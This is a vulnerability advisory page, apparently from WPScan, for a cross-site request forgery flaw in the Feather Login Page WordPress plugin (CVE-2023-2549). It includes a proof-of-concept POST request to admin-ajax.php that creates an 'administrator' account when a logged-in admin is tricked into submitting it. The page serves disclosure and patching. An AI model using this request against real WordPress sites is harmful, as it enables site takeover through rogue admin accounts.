Lucene search
WpvulndbWPEX-ID:69A6D423-B925-458F-B8A3-61836411B524HistoryMay 30, 2023 - 12:00 a.m.
Feather Login Page < 1.1.2 - Cross-Site Request Forgery to Privilege Escalation
2023-05-3000:00:00
wpvulndb
49
feather login page
cross-site request forgery
privilege escalation
admin-ajax.php
exploit
0.001 Low
EPSS
Percentile
48.3%
The plugin does not protect its ftlpp-ext-expirable-login-link action against CSRF attacks, allowing an unauthenticated attacker to add users of any role on their behalf by tricking a logged in administrator to submit a crafted request.
POST /wp-admin/admin-ajax.php?action=ftlpp-ext-expirable-login-link HTTP/1.1
Content-Type: application/json
Cookie: [Admin+]
{"firstName":"Evil","email":"[email protected]","role":"administrator","accountLinkExpiry":"999"}Related
wpvulndb
wpvulndb
cvelist
cvelist
CVE-2023-2549
2023-05-31 02:40:19
cve
cve
CVE-2023-2549
2023-05-31 03:15:09
prion
prion
Cross site request forgery (csrf)
2023-05-31 03:15:00
nvd
nvd
CVE-2023-2549
2023-05-31 03:15:09
wordfence
wordfence